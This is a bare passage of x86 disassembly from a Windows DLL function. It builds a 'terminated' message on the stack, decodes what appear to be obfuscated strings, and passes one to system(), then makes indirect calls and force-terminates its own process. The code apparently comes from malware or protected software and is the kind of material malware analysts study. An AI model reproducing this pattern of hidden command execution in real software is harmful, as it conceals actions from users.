mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], 0x73
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x3a
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x25
mov byte [ebp - 0x4a], 0x73
mov byte [ebp - 0x49], 0x28
mov byte [ebp - 0x48], 0x25
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x7c
mov byte [ebp - 0x45], 0x25
mov byte [ebp - 0x44], 0x73
mov byte [ebp - 0x43], 0x29
mov byte [ebp - 0x42], 0x20
mov byte [ebp - 0x41], 0x69
mov byte [ebp - 0x40], 0x73
mov byte [ebp - 0x3f], 0x20
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x6d
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x6e
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], 0x21
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x54
mov byte [ebp - 0x31], 0x79
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x3a
mov byte [ebp - 0x2d], 0x20
mov byte [ebp - 0x2c], 0x25
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0
lea ecx, [ebp - 0x28]
call fcn.10001580
push eax
push 0x2000
lea eax, [ebp - 0x58]
push eax
call fcn.1003dbf0
add esp, 0xc
call fcn.10010230
call fcn.1002a760
mov ecx, 0x95206f39
push ecx
lea ecx, [ebp - 0x38b]
call fcn.1001c1e0
mov dword [ebp - 0x490], eax
mov edx, dword [ebp - 0x490]
push edx
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x38b]
call fcn.1001ba00
push 0x7d0
mov eax, dword [0x1007f36c]
mov ecx, dword [eax + 0x18]
call ecx
call fcn.100037d0
movzx edx, al
test edx, edx
je 0x10033bcd
mov eax, 0xf002e55b
push eax
lea ecx, [ebp - 0x397]
call fcn.1000f8b0
mov dword [ebp - 0x494], eax
push 0x10
mov ecx, dword [ebp - 0x494]
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.100101e0
add esp, 0xc
lea ecx, [ebp - 0x397]
call fcn.10036c60
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
lea ecx, [ebp - 0x28]
call fcn.10001580
push eax
lea eax, [ebp - 0x58]
push eax
push 0
mov ecx, dword [0x1007f15c]
push ecx
call fcn.10005c70
add esp, 0x1c
push 0
push 0xffffffffffffffff
mov edx, dword [0x1007f36c]
mov eax, dword [edx + 0xd0]
call eax
push 0x40010004
push 0
push 0
mov ecx, dword [0x1007f36c]
mov edx, dword [ecx + 0x154]
call edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret